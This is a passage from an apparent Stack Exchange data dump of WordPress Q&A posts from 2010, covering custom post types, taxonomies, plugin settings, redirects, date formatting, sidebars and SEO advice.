helps Facebook figure out what to do when you &quot;share&quot; the page to your friends and network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The AddThis button doesn't add any of this information to your header.  It can't, really, because it's built to allow simple sharing of pages, not to power sharing for video websites like YouTube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as I said before, it &quot;depends on how the video is embedded into the page.&quot;  Facebook can only handle videos in specific formats, tagged in a specific way, that originate from specific sites/applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To replicate the embedded video feature that YouTube has, you'll need to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create your own Facebook app to power things&lt;/li&gt;&#xA;&lt;li&gt;Add the same kind of meta information to your header&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want (and I would recommend this), the easier route would be to just scrape the &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tags YouTube uses.  So if you add a video, use the same YouTube app Id, the same &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; properties, and you &lt;em&gt;should&lt;/em&gt; be good to go.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-11-18T16:10:28.820" LastActivityDate="2010-11-18T16:10:28.820" CommentCount="5" />
  <row Id="4158" PostTypeId="1" CreationDate="2010-11-16T21:46:22.417" Score="0" ViewCount="353" Body="&lt;p&gt;I have been searching and searching for a theme to just list costumes by category, without having a cart option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me to a resource where such themes just so happen to exist in abundance, that are easy to customise or are fairly cheap?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is a home page to show the latest x products, there needs to be a pages navigation bar along the top and a products category drop down or a sidebar (I'm fairly flexible!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not expecting anyone to do the searching for me, but if you know of such a theme please help me out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys&lt;/p&gt;&#xA;" LastActivityDate="2010-11-17T10:44:55.463" Title="Looking for a grid based product listing theme with no cart" Tags="&lt;theme-recommendation&gt;" AnswerCount="2" />
  <row Id="4159" PostTypeId="2" ParentId="4140" CreationDate="2010-11-16T21:53:12.943" Score="2" ViewCount="" Body="&lt;p&gt;For the vast majority of plugins, placing their settings page under settings is the correct location (and has been since WordPress 1.5). The only time this could vary is if the plugin creates a top level menu (on the same level as the &quot;Settings&quot;, &quot;Tools&quot;, etc menus are at). IMHO, settings is for just that, settings, and should be the fist place to look for the settings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are cases where some older plugins (e.g. Spam Karma 2) add a page under the &quot;Tools&quot; menu, when it should not. IIRC, at one point of time, there was talk about removing the settings section. Instead of removing it, it was changed to what we have today. But in general I have not seen settings pages in places other than under &quot;Settings&quot;. So to me it seems to be a non issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;settings API&lt;/a&gt;. It does not define where the settings should be located. However, an arguably evil thing it allows us to do is place more settings on the standard settings pages (e.g. add something extra under Settings &gt; General). I really do not agree with placing extra settings on the predefined, WordPress core settings pages as it can cause quite a bit of confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really don't think users should be allowed to pick and choose where plugin settings pages are. Support would be an absolute nightmare (e.g. helping the user find the settings menu if they've changed it from where you had originally set it to be). Instead the plugin developer should put thought into where the page is located, and listen to their users if they are told it is in a poor location.&lt;/p&gt;&#xA;" OwnerUserId="1078" LastEditorUserId="1078" LastEditorDisplayName="" LastEditDate="2010-11-16T23:03:59.120" LastActivityDate="2010-11-16T23:03:59.120" CommentCount="3" />
  <row Id="4160" PostTypeId="1" AcceptedAnswerId="4161" CreationDate="2010-11-16T23:42:49.897" Score="0" ViewCount="520" Body="&lt;p&gt;I've setup a custom post type and a custom taxonomy for that post type, but I'm having one problem - on the custom taxonomy permalink pages (i.e. &lt;a href=&quot;http://travisnorthcutt.com/chuck/showroom/engagement/&quot; rel=&quot;nofollow&quot;&gt;http://travisnorthcutt.com/chuck/showroom/engagement/&lt;/a&gt;), the content of the custom post that should be there is not being displayed. However, looking at the page source, I can see that there is a div that should contain the post content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to get the entire content to be displayed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The Custom Post Types UI plugin was used for the creation of the custom post types and the custom taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2: Turns out it was a Thesis problem. Design Options &gt; Display Options &gt; Archives was set to &quot;titles only&quot;, which kept the content of the posts from being displayed.&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-11-29T02:18:29.173" LastActivityDate="2010-11-29T02:18:29.173" Title="Trick to get custom post types to show up on a custom taxonomy page?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="4" CommentCount="6" FavoriteCount="2" />
  <row Id="4161" PostTypeId="2" ParentId="4160" CreationDate="2010-11-17T00:19:02.593" Score="1" ViewCount="" Body="&lt;p&gt;By default, a custom post type isn't included in the standard query. You'll need to manually create a query in your taxonomy page for that post type.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-17T00:19:02.593" CommentCount="3" />
  <row Id="4162" PostTypeId="1" AcceptedAnswerId="4165" CreationDate="2010-11-17T01:07:12.787" Score="0" ViewCount="556" Body="&lt;p&gt;I've got a custom post type called wine, this will be the main type, I also have a custom post type called review, I want to be able to associate multiple reviews with a wine and have this controlled in the review edit screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Wine template I need to be able to link to the page listing all the reviews for that wine so the review needs to know the wine's $post-&gt;id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Mark&lt;/p&gt;&#xA;" OwnerUserId="1599" LastEditorUserId="1599" LastEditorDisplayName="" LastEditDate="2010-11-17T02:32:37.160" LastActivityDate="2010-11-17T02:32:37.160" Title="Link a custom post type child to a parent using dropdown" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="4163" PostTypeId="1" AcceptedAnswerId="4164" CreationDate="2010-11-17T01:54:52.193" Score="0" ViewCount="284" Body="&lt;p&gt;How is plugin network activate different from normal activation by implementation? What is done/not done in network activation that is done/not done in activation? &lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2010-11-17T01:59:17.863" Title="How Is Network Activate Different From Activate (by Implementation)?" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;3.0.1&gt;" AnswerCount="1" />
  <row Id="4164" PostTypeId="2" ParentId="4163" CreationDate="2010-11-17T01:59:17.863" Score="2" ViewCount="" Body="&lt;p&gt;Network activation will activate a plug-in for every site in a network whereas regular activation will only activate a plug-in for the site you're currently on.  As far as implementation goes, there is one other important difference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your plug-in is built to do something when it's activated (via &lt;code&gt;register_activation_hook()&lt;/code&gt;), this will fire automatically when you activate a plug-in normally, but it will &lt;em&gt;not&lt;/em&gt; fire for a network-activated plug-in until you visit the admin screen for each blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if major database updates are tied in to &lt;code&gt;register_activation_hook()&lt;/code&gt; they won't occur until you log in to the other sites.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-17T01:59:17.863" CommentCount="2" />
  <row Id="4165" PostTypeId="2" ParentId="4162" CreationDate="2010-11-17T02:07:35.303" Score="0" ViewCount="" Body="&lt;p&gt;I would add a custom taxonomy called &quot;wine&quot; as well.  You can use this taxonomy to associate reviews about the same wine and also to associate the &quot;wine&quot; custom post with the taxonomy.  Then you can run a query to get all &quot;review&quot; posts that share the &quot;pinot&quot; term in the &quot;wine&quot; taxonomy, for example.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it easier to group posts, custom posts, and pages without needing to know &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; for anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://justintadlock.com/archives/2009/05/06/custom-taxonomies-in-wordpress-28&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock&lt;/a&gt; has written a fantastic explanation of custom taxonomies if you need a place to start ...&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-17T02:07:35.303" CommentCount="1" />
  <row Id="4166" PostTypeId="2" ParentId="4156" CreationDate="2010-11-17T02:23:31.893" Score="1" ViewCount="" Body="&lt;p&gt;Hey, you might have luck with a &lt;a href=&quot;http://wordpress.org/extend/plugins/cp-redirect/&quot; rel=&quot;nofollow&quot;&gt;prior plugin I wrote&lt;/a&gt; (&lt;a href=&quot;http://plugins.svn.wordpress.org/cp-redirect/trunk/cp-redirect.php&quot; rel=&quot;nofollow&quot;&gt;here's the code itself&lt;/a&gt;). It's a redirect plugin that looks at the URL coming in, checks it against the postmeta table if it's about to produce a 404, and redirect the user if a match is found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the entire URI stored in the custom field for a post, it might look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Redirect old Tumblr URLs to new WP if the URI exists in the database&#xA; */&#xA;function tumblr_legacy_redirect() {&#xA;    global $wpdb; // We're going to use this for the db lookup&#xA;&#xA;    // Only run this lookup on URLs that are going to 404 anyway&#xA;    if ( is_404() ) {&#xA;&#xA;        // We're getting the incorrect URI in hopes that it's an old Tumblr link&#xA;        $requested_url = $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];&#xA;&#xA;        // Prepare the query so we protect ourselves against bad SQL queries&#xA;        $query = $wpdb-&amp;gt;prepare( &quot;SELECT post_id FROM $wpdb-&amp;gt;postmeta WHERE meta_key='syndication_permalink' AND meta_value='%s'&quot;, $requested_url );&#xA;        $post_id = $wpdb-&amp;gt;get_results( $query, 'ARRAY_N' );&#xA;        // Catch if there are duplicate results in the database&#xA;        $post_id = $post_id[0][0];&#xA;&#xA;        // Build the redirect if the post_id exists&#xA;        if ( $new_url = get_permalink( $post_id ) ) {&#xA;            wp_redirect( $new_url, 301 );&#xA;        } else {&#xA;            return;&#xA;        }&#xA;&#xA;   } // END - if ( is_404() )&#xA;&#xA;} // END - tumblr_legacy_redirect()&#xA;&#xA;// A good place for our template redirect to hook into&#xA;add_action( 'template_redirect', 'tumblr_legacy_redirect' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Caveat is that I haven't actually tested the code, so let me know if you run into any errors!&lt;/p&gt;&#xA;" OwnerUserId="135" LastEditorUserId="135" LastEditorDisplayName="" LastEditDate="2010-11-18T18:49:57.250" LastActivityDate="2010-11-18T18:49:57.250" CommentCount="8" />
  <row Id="4167" PostTypeId="2" ParentId="1567" CreationDate="2010-11-17T02:52:13.583" Score="5" ViewCount="" Body="&lt;h2&gt;Return the number of comments&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is like &lt;code&gt;count_user_posts()&lt;/code&gt;, but returns the number of comments instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function count_user_comments($id) {&#xA;global $wpdb;&#xA;$users = $wpdb-&amp;gt;get_var(&quot;&#xA;        SELECT COUNT( * ) AS total&#xA;        FROM $wpdb-&amp;gt;comments&#xA;        WHERE comment_approved = 1 &#xA;        AND user_id = $id&quot;);&#xA;return $users;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More: Count User's posts (including custom post types) or comments:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function atom_count($user_id, $what_to_count = 'post') {&#xA;  global $wpdb;    &#xA;  $where = $what_to_count == 'comment' ? &quot;WHERE comment_approved = 1 AND user_id = {$user_id}&quot; : get_posts_by_author_sql($what_to_count, TRUE, $user_id);&#xA;  $from = &quot;FROM &quot;.(($what_to_count == 'comment') ? $wpdb-&amp;gt;comments : $wpdb-&amp;gt;posts);    &#xA;  $count = $wpdb-&amp;gt;get_var($wpdb-&amp;gt;prepare(&quot;SELECT COUNT(*) {$from} {$where}&quot;));&#xA;  return $count;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage examples:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo atom_count(1, 'movie'); // displays 'movie' post type count ?&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo atom_count(1, 'comment'); // displays comment count ?&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="1489" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:10:51.590" LastActivityDate="2011-01-26T14:10:51.590" CommunityOwnedDate="2010-11-17T02:52:13.583" CommentCount="1" />
  <row Id="4168" PostTypeId="2" ParentId="3316" CreationDate="2010-11-17T02:58:42.423" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/retrieving-current-post-data-in-custom-quick-edit-field&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/retrieving-current-post-data-in-custom-quick-edit-field&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-11-17T02:58:42.423" />
  <row Id="4169" PostTypeId="2" ParentId="4158" CreationDate="2010-11-17T03:24:49.370" Score="1" ViewCount="" Body="&lt;p&gt;I recently found templatic dot com, and bought one of theirs, the Kids store. It ended up being easy to modify, and although it has the cart option, you can disable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm in no way affiliated to them, just happened to like the theme :)&lt;/p&gt;&#xA;" OwnerUserId="1576" LastActivityDate="2010-11-17T03:24:49.370" />
  <row Id="4170" PostTypeId="1" AcceptedAnswerId="4171" CreationDate="2010-11-17T04:05:11.877" Score="0" ViewCount="274" Body="&lt;p&gt;I'm using this function to be able to retrieve several data, from outside the Loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_post_data($postId) {&#xA; global $wpdb;&#xA; return $wpdb-&amp;gt;get_results(&quot;SELECT * FROM $wpdb-&amp;gt;posts WHERE ID=$postId&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and then, this to display the date a post was published:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;global $wp_query;&#xA;global $thePostID;&#xA;$thePostID = $wp_query-&amp;gt;post-&amp;gt;ID;&#xA;$data = get_post_data($thePostID);&#xA;echo $data[0]-&amp;gt;post_date;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wich displays something like &quot;2010-06-14 22:36:03&quot; in my sidebar, but I'd like to format it like just &quot;June, 2010&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can it be done?&lt;/p&gt;&#xA;" OwnerUserId="1576" LastActivityDate="2010-11-17T04:23:26.360" Title="Formating the display of a post's date, outside the Loop" Tags="&lt;formatting&gt;&lt;date-time&gt;&lt;loop&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="4171" PostTypeId="2" ParentId="4170" CreationDate="2010-11-17T04:23:26.360" Score="2" ViewCount="" Body="&lt;p&gt;I'm using something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date('F, Y', strtotime($data[0]-&amp;gt;post_date));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-11-17T04:23:26.360" CommentCount="1" />
  <row Id="4172" PostTypeId="1" CreationDate="2010-11-17T04:38:13.693" Score="1" ViewCount="202" Body="&lt;p&gt;I own a website barrelandblade.com which was developed by a non SEO enlightened developer. I recently had the FV All in One SEO Pack installed as my site does not show up in the search engines at all. I understand my URLs should be representative of my page content but do not know how to go about it.  Is there a way to do this that I can do or have someone setup so my site can get ranked?&lt;/p&gt;&#xA;" OwnerUserId="1601" LastActivityDate="2011-01-05T03:21:51.723" Title="Creating Search Engine Friendly URL's with Word Press" Tags="&lt;3.0&gt;&lt;permalinks&gt;&lt;plugins&gt;&lt;urls&gt;" AnswerCount="2" />
  <row Id="4173" PostTypeId="1" AcceptedAnswerId="4175" CreationDate="2010-11-17T04:59:12.963" Score="3" ViewCount="1285" Body="&lt;p&gt;I'm making a blog where only on specific pages I want to show different sidebar, I will add some widgets to those sidebar, which I don't want to show in default sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found &lt;a href=&quot;http://dev.studiopress.com/display-alternate-sidebar.htm&quot; rel=&quot;nofollow&quot;&gt;a coding method to do this&lt;/a&gt;, but I would like to use a plugin, and not edit code myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to give the control of adding/removing sidebar/widgets in client hands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there any plug-in to do this easily?&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T07:08:39.310" LastActivityDate="2011-05-27T07:35:33.320" Title="How to Show Different Sidebars on Specific Pages?" Tags="&lt;plugin-recommendation&gt;&lt;sidebar&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="4174" PostTypeId="2" ParentId="4172" CreationDate="2010-11-17T05:04:31.130" Score="2" ViewCount="" Body="&lt;p&gt;A quick lesson in SEO ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meta tags, meta keywords, page architecture, and link structure will only get you so far.  It's important to have things set up, yes, but what's more important to search engine rankings is your &lt;em&gt;content&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, your question is slightly misleading.  Your &lt;a href=&quot;http://www.barrelandblade.com/index.php&quot; rel=&quot;nofollow&quot;&gt;main site&lt;/a&gt; isn't even built on WordPress!  The links throughout that site are references to standard PHP files that I expect are either static files or dynamically generated through some other, non-WordPress CMS.  In any case, &lt;em&gt;that&lt;/em&gt; is where the URL problem lies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual WordPress site (&lt;a href=&quot;http://barrelandblade.com/wordpress&quot; rel=&quot;nofollow&quot;&gt;http://barrelandblade.com/wordpress&lt;/a&gt;) has permalinks that are very SEO friendly.  Each post is using WordPress' built-in &quot;pretty permalink&quot; structure, which is built specifically to be SEO, user friendly, and easy to read.  You don't seem to have any WordPress-related SEO problems here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your &quot;so my site can get ranked?&quot; question, focus on content.  Build compelling content and get people external to your site to link to it.  &lt;em&gt;That&lt;/em&gt; will drive traffic and build your Google PageRank (which is what your search engine rankings are based on).&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-17T05:04:31.130" CommentCount="1" />
  <row Id="4175" PostTypeId="2" ParentId="4173" CreationDate="2010-11-17T05:13:58.583" Score="4" ViewCount="" Body="&lt;p&gt;A client of mine recently used a plug-in similar to &lt;a href=&quot;http://www.techyard.net/control-wordpress-widget-visibility-widget-context-plugin/&quot; rel=&quot;nofollow&quot;&gt;Widget Context&lt;/a&gt; to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than create different &lt;em&gt;sidebars&lt;/em&gt; you just define what &lt;em&gt;contexts&lt;/em&gt; you want your widgets to show up in.  So if you have a set of widgets you want to show up on a specific page, you mark them to only show up on that page.  But it allows you to continue using widgets that show up on every page/post if you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The convenience of this plug-in is that you don't have to code anything, and it's got a fairly intuitive UI you can put in the hands of your own clients.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-17T05:13:58.583" CommentCount="1" />
  <row Id="4176" PostTypeId="2" ParentId="4173" CreationDate="2010-11-17T06:18:57.197" Score="1" ViewCount="" Body="&lt;p&gt;I prefer &lt;a href=&quot;http://freakytrigger.co.uk/wordpress-setup/&quot; rel=&quot;nofollow&quot;&gt;widget logic&lt;/a&gt; over widget context. However, I can't recall the reason of it.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-11-17T06:18:57.197" CommentCount="2" />
  <row Id="4177" PostTypeId="1" AcceptedAnswerId="4184" CreationDate="2010-11-17T06:30:18.093" Score="0" ViewCount="392" Body="&lt;p&gt;How to query Post with current date month with custom field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    global $wp_query;&#xA;    $event_month = get_post_meta($wp_query-&amp;gt;post-&amp;gt;ID, 'eventdate', true); //format in db 11/17/2010&#xA;    $event_month = date(&quot;n&quot;); //A numeric representation of a month, without leading zeros (1 to 12)&#xA;    $today= getdate(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php query_posts('meta_key='.$event_month .'&amp;amp;meta_compare&amp;amp;meta_value=' .$today[&quot;mon&quot;]);?&amp;gt;&#xA;&#xA;&amp;lt;?php while (have_posts()): the_post(); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;event-list-txt&quot;&amp;gt;&#xA;      &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&#xA;        &amp;lt;?php the_title(); ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;      &amp;lt;?php the_content(); //Display the content?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it doesn't display the output.. .what I want to display is the event list for the month.. for example if it's November it will display the event list for November and when the month of December comes it will show the event list of December and so on.. . The event list date comes with custom field format like this 11/17/2010 compare to current date&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here are the additional expected output&lt;/p&gt;&#xA;&#xA;&lt;p&gt;current date is November and the event list should be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-----------------------+-------------+&#xA;| Event Name            | Date        |&#xA;+-----------------------+-------------+&#xA;| ABC Market opening    | 11/18/2010  | &#xA;| ABC Market Seminar    | 11/25/2010  | &#xA;| ABC Market Promo      | 11/29/2010  | &#xA;+-----------------------+-------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks guys&lt;/p&gt;&#xA;" OwnerUserId="420" LastEditorUserId="420" LastEditorDisplayName="" LastEditDate="2010-11-17T08:58:27.413" LastActivityDate="2010-12-17T11:30:51.073" Title="query_posts meta_key with current date" Tags="&lt;3.0&gt;&lt;query-posts&gt;&lt;mysql&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="4178" PostTypeId="1" CreationDate="2010-11-17T08:24:07.083" Score="0" ViewCount="300" Body="&lt;p&gt;I am building a custom menu section (a new item with subitems in the main menu section on the left side) in the WordPress Administration of my website. The section shall include a main post type, and for this you should be able to link category and country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be possible to use taxonomies, but taxonomy only supports multiple choices. Therefore, I want to be able to create new post types for category and country instead of taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it won't work out if I want it to be under the same menu section? Please help.&lt;/p&gt;&#xA;" OwnerUserId="3216" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T10:36:02.347" LastActivityDate="2011-09-04T06:41:54.833" Title="How do I create multiple post types in same menu section in WP-admin?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;admin-menu&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="4179" PostTypeId="2" ParentId="4160" CreationDate="2010-11-17T08:24:58.500" Score="3" ViewCount="" Body="&lt;p&gt;Give this a shot, adding into your functions file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'pre_get_posts', 'include_tax_posts' );&#xA;&#xA;function include_tax_posts( $query ) {&#xA;&#xA;    if ( is_tax()  &amp;amp;&amp;amp; false == $query-&amp;gt;query_vars['suppress_filters'] )&#xA;        $query-&amp;gt;set( 'post_type', array( 'post', 'page', 'YOUR_POST_TYPE' ) );&#xA;&#xA;    return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-17T08:24:58.500" CommentCount="1" />
  <row Id="4180" PostTypeId="1" AcceptedAnswerId="4185" CreationDate="2010-11-17T09:11:41.443" Score="1" ViewCount="99" Body="&lt;p&gt;The shared server that I used for hosting my WordPress website was hacked recently, and many of the &lt;code&gt;index.php&lt;/code&gt; files, plugin files and uploads were deleted, with my MySQL databases untouched. But after having restored all of it from my local backups, I'm having some weird problems.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;My homepage &lt;a href=&quot;http://inversekarma.in&quot; rel=&quot;nofollow&quot;&gt;http://inversekarma.in&lt;/a&gt; does not fully load - the sidebar and footer are missing. If I view the page source, it ends at the point where the code for my sidebar starts.&lt;/li&gt;&#xA;&lt;li&gt;I am not able to login to the dashboard. It throws a 500 error.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please help me fix this issue!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: I have another WordPress blog on the same domain, at &lt;code&gt;http://inversekarma.in/photos&lt;/code&gt;, which is working perfectly without any of the above issues, after I restored the files from my backup.&lt;/p&gt;&#xA;" OwnerUserId="1606" LastEditorUserId="1606" LastEditorDisplayName="" LastEditDate="2010-11-18T16:22:52.757" LastActivityDate="2010-11-18T16:22:52.757" Title="Weird problems after recovery from security breach" Tags="&lt;plugins&gt;&lt;wp-admin&gt;&lt;errors&gt;&lt;security&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="4181" PostTypeId="2" ParentId="4158" CreationDate="2010-11-17T10:44:55.463" Score="0" ViewCount="" Body="&lt;p&gt;Thank you Sergio, will check them out now.&lt;/p&gt;&#xA;" OwnerUserId="1531" LastActivityDate="2010-11-17T10:44:55.463" />
  <row Id="4182" PostTypeId="1" AcceptedAnswerId="4188" CreationDate="2010-11-17T10:48:05.423" Score="2" ViewCount="290" Body="&lt;p&gt;I'm intending to use the default &quot;post tags&quot; taxonomy to provide a common set of tags across posts and 2 custom post types (to allow for collection/aggregation by tag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to rename the &quot;post tags&quot; taxonomy to something else - like &quot;general tags' - to make it a bit clearer, especially when this taxonomy is attached to other custom post types. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there any way of doing this within Wordpress, or do I do it via SQL. Also, anyone know if there is an expectation that this taxonomy exists with the nane &quot;post tags&quot;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-11T22:28:00.910" Title="Can the default &quot;post tags&quot; taxonomy be renamed?" Tags="&lt;taxonomy&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="4183" PostTypeId="1" CreationDate="2010-11-17T10:59:28.167" Score="1" ViewCount="509" Body="&lt;p&gt;I have a category in my blog called &quot;work&quot;, and I will be assigning each post a thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This category will be excluded from my blog's navigation, but added as a fake page on my page nav bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to create a 3 x 3 grid listing of thumbnails which link to that piece of work, how would I go about doing this? I don't even know where to begin with this?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1531" LastActivityDate="2010-12-12T14:34:46.947" Title="Post thumbnails in sidebar &amp; footer?" Tags="&lt;sidebar&gt;&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" />
  <row Id="4184" PostTypeId="2" ParentId="4177" CreationDate="2010-11-17T11:04:39.097" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;meta_key&lt;/code&gt; value should be name of custom field. I doubt you have fields named after each month, so it's likely should be &lt;code&gt;eventdate&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;meta_compare&lt;/code&gt; should have value that specifies a comparison operator, or just be omitted and it will default to &lt;code&gt;=&lt;/code&gt; in that case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this you can't really query full event date on equals condition to month alone. I am not sure but as I see it you will have either to add separate field for month/year (without day) or do much more complex query with &lt;code&gt;posts_where&lt;/code&gt; filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Time_Parameters&quot; rel=&quot;nofollow&quot;&gt;Time Parameters&lt;/a&gt;, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;Custom Field Parameters&lt;/a&gt; in Codex for more documentation.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-11-17T11:19:46.703" LastActivityDate="2010-11-17T11:19:46.703" CommentCount="2" />
